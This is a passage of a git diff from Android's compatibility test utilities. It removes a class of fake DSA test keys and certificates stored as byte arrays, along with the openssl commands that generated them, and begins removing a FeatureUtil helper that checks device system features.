-            (byte) 0x04, (byte) 0x16, (byte) 0x04, (byte) 0x14, (byte) 0x33, (byte) 0x05,
-            (byte) 0xee, (byte) 0xfe, (byte) 0x6f, (byte) 0x60, (byte) 0xc7, (byte) 0xf9,
-            (byte) 0xa9, (byte) 0xd2, (byte) 0x73, (byte) 0x5c, (byte) 0x8f, (byte) 0x6d,
-            (byte) 0xa2, (byte) 0x2f, (byte) 0x97, (byte) 0x8e, (byte) 0x5d, (byte) 0x51,
-            (byte) 0x30, (byte) 0x7f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d,
-            (byte) 0x23, (byte) 0x04, (byte) 0x78, (byte) 0x30, (byte) 0x76, (byte) 0x80,
-            (byte) 0x14, (byte) 0x33, (byte) 0x05, (byte) 0xee, (byte) 0xfe, (byte) 0x6f,
-            (byte) 0x60, (byte) 0xc7, (byte) 0xf9, (byte) 0xa9, (byte) 0xd2, (byte) 0x73,
-            (byte) 0x5c, (byte) 0x8f, (byte) 0x6d, (byte) 0xa2, (byte) 0x2f, (byte) 0x97,
-            (byte) 0x8e, (byte) 0x5d, (byte) 0x51, (byte) 0xa1, (byte) 0x53, (byte) 0xa4,
-            (byte) 0x51, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b, (byte) 0x30,
-            (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06,
-            (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31, (byte) 0x0b,
-            (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
-            (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41, (byte) 0x31,
-            (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d, (byte) 0x6f,
-            (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69, (byte) 0x6e,
-            (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77, (byte) 0x31,
-            (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41, (byte) 0x6e,
-            (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64, (byte) 0x20,
-            (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20, (byte) 0x43,
-            (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x82, (byte) 0x09,
-            (byte) 0x00, (byte) 0xe1, (byte) 0x6a, (byte) 0xa2, (byte) 0xf4, (byte) 0x2e,
-            (byte) 0x55, (byte) 0x48, (byte) 0x0a, (byte) 0x30, (byte) 0x0c, (byte) 0x06,
-            (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05,
-            (byte) 0x30, (byte) 0x03, (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30,
-            (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48,
-            (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05,
-            (byte) 0x05, (byte) 0x00, (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00,
-            (byte) 0x8c, (byte) 0x30, (byte) 0x42, (byte) 0xfa, (byte) 0xeb, (byte) 0x1a,
-            (byte) 0x26, (byte) 0xeb, (byte) 0xda, (byte) 0x56, (byte) 0x32, (byte) 0xf2,
-            (byte) 0x9d, (byte) 0xa5, (byte) 0x24, (byte) 0xd8, (byte) 0x3a, (byte) 0xda,
-            (byte) 0x30, (byte) 0xa6, (byte) 0x8b, (byte) 0x46, (byte) 0xfe, (byte) 0xfe,
-            (byte) 0xdb, (byte) 0xf1, (byte) 0xe6, (byte) 0xe1, (byte) 0x7c, (byte) 0x1b,
-            (byte) 0xe7, (byte) 0x77, (byte) 0x00, (byte) 0xa1, (byte) 0x1c, (byte) 0x19,
-            (byte) 0x17, (byte) 0x73, (byte) 0xb0, (byte) 0xf0, (byte) 0x9d, (byte) 0xf3,
-            (byte) 0x4f, (byte) 0xb6, (byte) 0xbc, (byte) 0xc7, (byte) 0x47, (byte) 0x85,
-            (byte) 0x2a, (byte) 0x4a, (byte) 0xa1, (byte) 0xa5, (byte) 0x58, (byte) 0xf5,
-            (byte) 0xc5, (byte) 0x1a, (byte) 0x51, (byte) 0xb1, (byte) 0x04, (byte) 0x80,
-            (byte) 0xee, (byte) 0x3a, (byte) 0xec, (byte) 0x2f, (byte) 0xe1, (byte) 0xfd,
-            (byte) 0x58, (byte) 0xeb, (byte) 0xed, (byte) 0x82, (byte) 0x9e, (byte) 0x38,
-            (byte) 0xa3, (byte) 0x24, (byte) 0x75, (byte) 0xf7, (byte) 0x3e, (byte) 0xc2,
-            (byte) 0xc5, (byte) 0x27, (byte) 0xeb, (byte) 0x6f, (byte) 0x7b, (byte) 0x50,
-            (byte) 0xda, (byte) 0x43, (byte) 0xdc, (byte) 0x3b, (byte) 0x0b, (byte) 0x6f,
-            (byte) 0x78, (byte) 0x8f, (byte) 0xb0, (byte) 0x66, (byte) 0xe1, (byte) 0x12,
-            (byte) 0x87, (byte) 0x5f, (byte) 0x97, (byte) 0x7b, (byte) 0xca, (byte) 0x14,
-            (byte) 0x79, (byte) 0xf7, (byte) 0xe8, (byte) 0x6c, (byte) 0x72, (byte) 0xdb,
-            (byte) 0x91, (byte) 0x65, (byte) 0x17, (byte) 0x54, (byte) 0xe0, (byte) 0x74,
-            (byte) 0x1d, (byte) 0xac, (byte) 0x47, (byte) 0x04, (byte) 0x12, (byte) 0xe0,
-            (byte) 0xc3, (byte) 0x66, (byte) 0x19, (byte) 0x05, (byte) 0x2e, (byte) 0x7e,
-            (byte) 0xf1, (byte) 0x61
-        };
-    }
-
-    /*
-     * The keys and certificates below are generated with:
-     *
-     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
-     * openssl dsaparam -out dsaparam.pem 1024
-     * openssl req -newkey dsa:dsaparam.pem -keyout userkey.pem -nodes -days 3650 -out userkey.req
-     * mkdir -p demoCA/newcerts
-     * touch demoCA/index.txt
-     * echo "01" > demoCA/serial
-     * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
-     */
-    public static class FAKE_DSA_1 {
-        /**
-         * Generated from above and converted with: openssl pkcs8 -topk8 -outform d
-         * -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
-         */
-        public static final byte[] privateKey = {
-            (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x4c, (byte) 0x02, (byte) 0x01,
-            (byte) 0x00, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x2c, (byte) 0x06,
-            (byte) 0x07, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0xce, (byte) 0x38,
-            (byte) 0x04, (byte) 0x01, (byte) 0x30, (byte) 0x82, (byte) 0x01, (byte) 0x1f,
-            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xb3, (byte) 0x23,
-            (byte) 0xf7, (byte) 0x86, (byte) 0xbd, (byte) 0x3b, (byte) 0x86, (byte) 0xcc,
-            (byte) 0xc3, (byte) 0x91, (byte) 0xc0, (byte) 0x30, (byte) 0x32, (byte) 0x02,
-            (byte) 0x47, (byte) 0x35, (byte) 0x01, (byte) 0xef, (byte) 0xee, (byte) 0x98,
-            (byte) 0x13, (byte) 0x56, (byte) 0x49, (byte) 0x47, (byte) 0xb5, (byte) 0x20,
-            (byte) 0xa8, (byte) 0x60, (byte) 0xcb, (byte) 0xc0, (byte) 0xd5, (byte) 0x77,
-            (byte) 0xc1, (byte) 0x69, (byte) 0xcd, (byte) 0x18, (byte) 0x34, (byte) 0x92,
-            (byte) 0xf2, (byte) 0x6a, (byte) 0x2a, (byte) 0x10, (byte) 0x59, (byte) 0x1c,
-            (byte) 0x91, (byte) 0x20, (byte) 0x51, (byte) 0xca, (byte) 0x37, (byte) 0xb2,
-            (byte) 0x87, (byte) 0xa6, (byte) 0x8a, (byte) 0x02, (byte) 0xfd, (byte) 0x45,
-            (byte) 0x46, (byte) 0xf9, (byte) 0x76, (byte) 0xb1, (byte) 0x35, (byte) 0x38,
-            (byte) 0x8d, (byte) 0xff, (byte) 0x4c, (byte) 0x5d, (byte) 0x75, (byte) 0x8f,
-            (byte) 0x66, (byte) 0x15, (byte) 0x7d, (byte) 0x7b, (byte) 0xda, (byte) 0xdb,
-            (byte) 0x57, (byte) 0x39, (byte) 0xff, (byte) 0x91, (byte) 0x3f, (byte) 0xdd,
-            (byte) 0xe2, (byte) 0xb4, (byte) 0x22, (byte) 0x60, (byte) 0x4c, (byte) 0x32,
-            (byte) 0x3b, (byte) 0x9d, (byte) 0x34, (byte) 0x9f, (byte) 0xb9, (byte) 0x5d,
-            (byte) 0x75, (byte) 0xb9, (byte) 0xd3, (byte) 0x7f, (byte) 0x11, (byte) 0xba,
-            (byte) 0xb7, (byte) 0xc8, (byte) 0x32, (byte) 0xc6, (byte) 0xce, (byte) 0x71,
-            (byte) 0x91, (byte) 0xd3, (byte) 0x32, (byte) 0xaf, (byte) 0x4d, (byte) 0x7e,
-            (byte) 0x7c, (byte) 0x15, (byte) 0xf7, (byte) 0x71, (byte) 0x2c, (byte) 0x52,
-            (byte) 0x65, (byte) 0x4d, (byte) 0xa9, (byte) 0x81, (byte) 0x25, (byte) 0x35,
-            (byte) 0xce, (byte) 0x0b, (byte) 0x5b, (byte) 0x56, (byte) 0xfe, (byte) 0xf1,
-            (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xeb, (byte) 0x4e, (byte) 0x7f,
-            (byte) 0x7a, (byte) 0x31, (byte) 0xb3, (byte) 0x7d, (byte) 0x8d, (byte) 0xb2,
-            (byte) 0xf7, (byte) 0xaf, (byte) 0xad, (byte) 0xb1, (byte) 0x42, (byte) 0x92,
-            (byte) 0xf3, (byte) 0x6c, (byte) 0xe4, (byte) 0xed, (byte) 0x8b, (byte) 0x02,
-            (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x81, (byte) 0xc8, (byte) 0x36,
-            (byte) 0x48, (byte) 0xdb, (byte) 0x71, (byte) 0x2b, (byte) 0x91, (byte) 0xce,
-            (byte) 0x6d, (byte) 0xbc, (byte) 0xb8, (byte) 0xf9, (byte) 0xcb, (byte) 0x50,
-            (byte) 0x91, (byte) 0x10, (byte) 0x8a, (byte) 0xf8, (byte) 0x37, (byte) 0x50,
-            (byte) 0xda, (byte) 0x4f, (byte) 0xc8, (byte) 0x4d, (byte) 0x73, (byte) 0xcb,
-            (byte) 0x4d, (byte) 0xb0, (byte) 0x19, (byte) 0x54, (byte) 0x5a, (byte) 0xf3,
-            (byte) 0x6c, (byte) 0xc9, (byte) 0xd8, (byte) 0x96, (byte) 0xd9, (byte) 0xb0,
-            (byte) 0x54, (byte) 0x7e, (byte) 0x7d, (byte) 0xe2, (byte) 0x58, (byte) 0x0e,
-            (byte) 0x5f, (byte) 0xc0, (byte) 0xce, (byte) 0xb9, (byte) 0x5c, (byte) 0xe3,
-            (byte) 0xd3, (byte) 0xdf, (byte) 0xcf, (byte) 0x45, (byte) 0x74, (byte) 0xfb,
-            (byte) 0xe6, (byte) 0x20, (byte) 0xe7, (byte) 0xfc, (byte) 0x0f, (byte) 0xca,
-            (byte) 0xdb, (byte) 0xc0, (byte) 0x0b, (byte) 0xe1, (byte) 0x5a, (byte) 0x16,
-            (byte) 0x1d, (byte) 0xb3, (byte) 0x2e, (byte) 0xe5, (byte) 0x5f, (byte) 0x89,
-            (byte) 0x17, (byte) 0x73, (byte) 0x50, (byte) 0xd1, (byte) 0x4a, (byte) 0x60,
-            (byte) 0xb7, (byte) 0xaa, (byte) 0xf0, (byte) 0xc7, (byte) 0xc5, (byte) 0x03,
-            (byte) 0x4e, (byte) 0x36, (byte) 0x51, (byte) 0x9e, (byte) 0x2f, (byte) 0xfa,
-            (byte) 0xf3, (byte) 0xd6, (byte) 0x58, (byte) 0x14, (byte) 0x02, (byte) 0xb4,
-            (byte) 0x41, (byte) 0xd6, (byte) 0x72, (byte) 0x6f, (byte) 0x58, (byte) 0x5b,
-            (byte) 0x2d, (byte) 0x23, (byte) 0xc0, (byte) 0x75, (byte) 0x4f, (byte) 0x39,
-            (byte) 0xa8, (byte) 0x6a, (byte) 0xdf, (byte) 0x79, (byte) 0x21, (byte) 0xf2,
-            (byte) 0x77, (byte) 0x91, (byte) 0x3f, (byte) 0x1c, (byte) 0x4d, (byte) 0x48,
-            (byte) 0x78, (byte) 0xcd, (byte) 0xed, (byte) 0x79, (byte) 0x23, (byte) 0x04,
-            (byte) 0x17, (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xc7, (byte) 0xe7,
-            (byte) 0xe2, (byte) 0x6b, (byte) 0x14, (byte) 0xe6, (byte) 0x31, (byte) 0x12,
-            (byte) 0xb2, (byte) 0x1e, (byte) 0xd4, (byte) 0xf2, (byte) 0x9b, (byte) 0x2c,
-            (byte) 0xf6, (byte) 0x54, (byte) 0x4c, (byte) 0x12, (byte) 0xe8, (byte) 0x22
-
-        };
-
-        /**
-         * Generated from above and converted with:
-         *
-         * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
-         */
-        public static final byte[] caCertificate = new byte[] {
-            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x8a, (byte) 0x30, (byte) 0x82,
-            (byte) 0x01, (byte) 0xf3, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
-            (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
-            (byte) 0x68, (byte) 0x7f, (byte) 0x42, (byte) 0x92, (byte) 0x0b, (byte) 0x7a,
-            (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
-            (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
-            (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x5e, (byte) 0x31,
-            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55,
-            (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03,
-            (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53,
-            (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74,
-            (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31, (byte) 0x21, (byte) 0x30,
-            (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a,
-            (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e, (byte) 0x74, (byte) 0x65,
-            (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74, (byte) 0x20, (byte) 0x57,
-            (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69, (byte) 0x74, (byte) 0x73,
-            (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79, (byte) 0x20, (byte) 0x4c,
-            (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17, (byte) 0x30, (byte) 0x15,
-            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x03, (byte) 0x0c,
-            (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e, (byte) 0x65, (byte) 0x78,
-            (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x65, (byte) 0x2e,
-            (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30, (byte) 0x1e, (byte) 0x17,
-            (byte) 0x0d, (byte) 0x31, (byte) 0x33, (byte) 0x30, (byte) 0x38, (byte) 0x32,
-            (byte) 0x37, (byte) 0x32, (byte) 0x33, (byte) 0x33, (byte) 0x31, (byte) 0x32,
-            (byte) 0x39, (byte) 0x5a, (byte) 0x17, (byte) 0x0d, (byte) 0x32, (byte) 0x33,
-            (byte) 0x30, (byte) 0x38, (byte) 0x32, (byte) 0x35, (byte) 0x32, (byte) 0x33,
-            (byte) 0x33, (byte) 0x31, (byte) 0x32, (byte) 0x39, (byte) 0x5a, (byte) 0x30,
-            (byte) 0x5e, (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06,
-            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02,
-            (byte) 0x41, (byte) 0x55, (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11,
-            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c,
-            (byte) 0x0a, (byte) 0x53, (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d,
-            (byte) 0x53, (byte) 0x74, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31,
-            (byte) 0x21, (byte) 0x30, (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e,
-            (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74,
-            (byte) 0x20, (byte) 0x57, (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69,
-            (byte) 0x74, (byte) 0x73, (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79,
-            (byte) 0x20, (byte) 0x4c, (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17,
-            (byte) 0x30, (byte) 0x15, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
-            (byte) 0x03, (byte) 0x0c, (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e,
-            (byte) 0x65, (byte) 0x78, (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c,
-            (byte) 0x65, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30,
-            (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
-            (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
-            (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
-            (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
-            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa4, (byte) 0xc7,
-            (byte) 0x06, (byte) 0xba, (byte) 0xdf, (byte) 0x2b, (byte) 0xee, (byte) 0xd2,
-            (byte) 0xb9, (byte) 0xe4, (byte) 0x52, (byte) 0x21, (byte) 0x68, (byte) 0x2b,
-            (byte) 0x83, (byte) 0xdf, (byte) 0xe3, (byte) 0x9c, (byte) 0x08, (byte) 0x73,
-            (byte) 0xdd, (byte) 0x90, (byte) 0xea, (byte) 0x97, (byte) 0x0c, (byte) 0x96,
-            (byte) 0x20, (byte) 0xb1, (byte) 0xee, (byte) 0x11, (byte) 0xd5, (byte) 0xd4,
-            (byte) 0x7c, (byte) 0x44, (byte) 0x96, (byte) 0x2e, (byte) 0x6e, (byte) 0xa2,
-            (byte) 0xb2, (byte) 0xa3, (byte) 0x4b, (byte) 0x0f, (byte) 0x32, (byte) 0x90,
-            (byte) 0xaf, (byte) 0x5c, (byte) 0x6f, (byte) 0x00, (byte) 0x88, (byte) 0x45,
-            (byte) 0x4e, (byte) 0x9b, (byte) 0x26, (byte) 0xc1, (byte) 0x94, (byte) 0x3c,
-            (byte) 0xfe, (byte) 0x10, (byte) 0xbd, (byte) 0xda, (byte) 0xf2, (byte) 0x8d,
-            (byte) 0x03, (byte) 0x52, (byte) 0x32, (byte) 0x11, (byte) 0xff, (byte) 0xf6,
-            (byte) 0xf9, (byte) 0x6e, (byte) 0x8f, (byte) 0x0f, (byte) 0xc8, (byte) 0x0a,
-            (byte) 0x48, (byte) 0x39, (byte) 0x33, (byte) 0xb9, (byte) 0x0c, (byte) 0xb3,
-            (byte) 0x2b, (byte) 0xab, (byte) 0x7d, (byte) 0x79, (byte) 0x6f, (byte) 0x57,
-            (byte) 0x5b, (byte) 0xb8, (byte) 0x84, (byte) 0xb6, (byte) 0xcc, (byte) 0xe8,
-            (byte) 0x30, (byte) 0x78, (byte) 0xff, (byte) 0x92, (byte) 0xe5, (byte) 0x43,
-            (byte) 0x2e, (byte) 0xef, (byte) 0x66, (byte) 0x98, (byte) 0xb4, (byte) 0xfe,
-            (byte) 0xa2, (byte) 0x40, (byte) 0xf2, (byte) 0x1f, (byte) 0xd0, (byte) 0x86,
-            (byte) 0x16, (byte) 0xc8, (byte) 0x45, (byte) 0xc4, (byte) 0x52, (byte) 0xcb,
-            (byte) 0x31, (byte) 0x5c, (byte) 0x9f, (byte) 0x32, (byte) 0x3b, (byte) 0xf7,
-            (byte) 0x19, (byte) 0x08, (byte) 0xc7, (byte) 0x00, (byte) 0x21, (byte) 0x7d,
-            (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
-            (byte) 0x50, (byte) 0x30, (byte) 0x4e, (byte) 0x30, (byte) 0x1d, (byte) 0x06,
-            (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e, (byte) 0x04, (byte) 0x16,
-            (byte) 0x04, (byte) 0x14, (byte) 0x47, (byte) 0x82, (byte) 0xa3, (byte) 0xf1,
-            (byte) 0xc2, (byte) 0x7e, (byte) 0x3a, (byte) 0xde, (byte) 0x4f, (byte) 0x30,
-            (byte) 0x4c, (byte) 0x7f, (byte) 0x72, (byte) 0x81, (byte) 0x15, (byte) 0x32,
-            (byte) 0xda, (byte) 0x7f, (byte) 0x58, (byte) 0x18, (byte) 0x30, (byte) 0x1f,
-            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x23, (byte) 0x04,
-            (byte) 0x18, (byte) 0x30, (byte) 0x16, (byte) 0x80, (byte) 0x14, (byte) 0x47,
-            (byte) 0x82, (byte) 0xa3, (byte) 0xf1, (byte) 0xc2, (byte) 0x7e, (byte) 0x3a,
-            (byte) 0xde, (byte) 0x4f, (byte) 0x30, (byte) 0x4c, (byte) 0x7f, (byte) 0x72,
-            (byte) 0x81, (byte) 0x15, (byte) 0x32, (byte) 0xda, (byte) 0x7f, (byte) 0x58,
-            (byte) 0x18, (byte) 0x30, (byte) 0x0c, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05, (byte) 0x30, (byte) 0x03,
-            (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30, (byte) 0x0d, (byte) 0x06,
-            (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7,
-            (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x05, (byte) 0x00,
-            (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x08, (byte) 0x7f,
-            (byte) 0x6a, (byte) 0x48, (byte) 0x90, (byte) 0x7b, (byte) 0x9b, (byte) 0x72,
-            (byte) 0x13, (byte) 0xa7, (byte) 0xef, (byte) 0x6b, (byte) 0x0b, (byte) 0x59,
-            (byte) 0xe5, (byte) 0x49, (byte) 0x72, (byte) 0x3a, (byte) 0xc8, (byte) 0x84,
-            (byte) 0xcc, (byte) 0x23, (byte) 0x18, (byte) 0x4c, (byte) 0xec, (byte) 0xc7,
-            (byte) 0xef, (byte) 0xcb, (byte) 0xa7, (byte) 0xbe, (byte) 0xe4, (byte) 0xef,
-            (byte) 0x8f, (byte) 0xc6, (byte) 0x06, (byte) 0x8c, (byte) 0xc0, (byte) 0xe4,
-            (byte) 0x2f, (byte) 0x2a, (byte) 0xc0, (byte) 0x35, (byte) 0x7d, (byte) 0x5e,
-            (byte) 0x19, (byte) 0x29, (byte) 0x8c, (byte) 0xb9, (byte) 0xf1, (byte) 0x1e,
-            (byte) 0xaf, (byte) 0x82, (byte) 0xd8, (byte) 0xe3, (byte) 0x88, (byte) 0xe1,
-            (byte) 0x31, (byte) 0xc8, (byte) 0x82, (byte) 0x1f, (byte) 0x83, (byte) 0xa9,
-            (byte) 0xde, (byte) 0xfe, (byte) 0x4b, (byte) 0xe2, (byte) 0x78, (byte) 0x64,
-            (byte) 0xed, (byte) 0xa4, (byte) 0x7b, (byte) 0xee, (byte) 0x8d, (byte) 0x71,
-            (byte) 0x1b, (byte) 0x44, (byte) 0xe6, (byte) 0xb7, (byte) 0xe8, (byte) 0xc5,
-            (byte) 0x9a, (byte) 0x93, (byte) 0x92, (byte) 0x6f, (byte) 0x6f, (byte) 0xdb,
-            (byte) 0xbd, (byte) 0xd7, (byte) 0x03, (byte) 0x85, (byte) 0xa9, (byte) 0x5f,
-            (byte) 0x53, (byte) 0x5f, (byte) 0x5d, (byte) 0x30, (byte) 0xc6, (byte) 0xd9,
-            (byte) 0xce, (byte) 0x34, (byte) 0xa8, (byte) 0xbe, (byte) 0x31, (byte) 0x47,
-            (byte) 0x1c, (byte) 0xa4, (byte) 0x7f, (byte) 0xc0, (byte) 0x2c, (byte) 0xbc,
-            (byte) 0xfe, (byte) 0x1a, (byte) 0x31, (byte) 0xd8, (byte) 0x77, (byte) 0x4d,
-            (byte) 0xfc, (byte) 0x45, (byte) 0x84, (byte) 0xfc, (byte) 0x45, (byte) 0x12,
-            (byte) 0xab, (byte) 0x50, (byte) 0xe4, (byte) 0x45, (byte) 0xe5, (byte) 0x11
-        };
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
deleted file mode 100644
index c9681d2..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.content.pm.FeatureInfo;
-import android.content.pm.PackageManager;
-import android.content.res.Configuration;
-import android.os.Build;
-import android.support.test.InstrumentationRegistry;
-
-import java.util.HashSet;
-import java.util.Set;
-
-/**
- * Device-side utility class for detecting system features
- */
-public class FeatureUtil {
-
-    public static final String AUTOMOTIVE_FEATURE = "android.hardware.type.automotive";
-    public static final String LEANBACK_FEATURE = "android.software.leanback";
-    public static final String LOW_RAM_FEATURE = "android.hardware.ram.low";
-    public static final String TELEPHONY_FEATURE = "android.hardware.telephony";
-    public static final String TV_FEATURE = "android.hardware.type.television";
-    public static final String WATCH_FEATURE = "android.hardware.type.watch";
-
-
-    /** Returns true if the device has a given system feature */
-    public static boolean hasSystemFeature(String feature) {
-        return getPackageManager().hasSystemFeature(feature);
-    }
-
-    /** Returns true if the device has any feature in a given collection of system features */
-    public static boolean hasAnySystemFeature(String... features) {
-        PackageManager pm = getPackageManager();
-        for (String feature : features) {
-            if (pm.hasSystemFeature(feature)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    /** Returns true if the device has all features in a given collection of system features */
-    public static boolean hasAllSystemFeatures(String... features) {
-        PackageManager pm = getPackageManager();
-        for (String feature : features) {
-            if (!pm.hasSystemFeature(feature)) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    /** Returns all system features of the device */
-    public static Set<String> getAllFeatures() {
-        Set<String> allFeatures = new HashSet<String>();
-        for (FeatureInfo fi : getPackageManager().getSystemAvailableFeatures()) {
-            allFeatures.add(fi.name);
-        }
-        return allFeatures;
-    }
-
-    /** Returns true if the device has feature TV_FEATURE or feature LEANBACK_FEATURE */
-    public static boolean isTV() {
-        return hasAnySystemFeature(TV_FEATURE, LEANBACK_FEATURE);
-    }
-
-    /** Returns true if the device has feature WATCH_FEATURE */
-    public static boolean isWatch() {
-        return hasSystemFeature(WATCH_FEATURE);
-    }
-
-    /** Returns true if the device has feature AUTOMOTIVE_FEATURE */
-    public static boolean isAutomotive() {
-        return hasSystemFeature(AUTOMOTIVE_FEATURE);
-    }
-
-    public static boolean isVrHeadset() {
-        int maskedUiMode = (getConfiguration().uiMode & Configuration.UI_MODE_TYPE_MASK);
-        return (maskedUiMode == Configuration.UI_MODE_TYPE_VR_HEADSET);
-    }
-
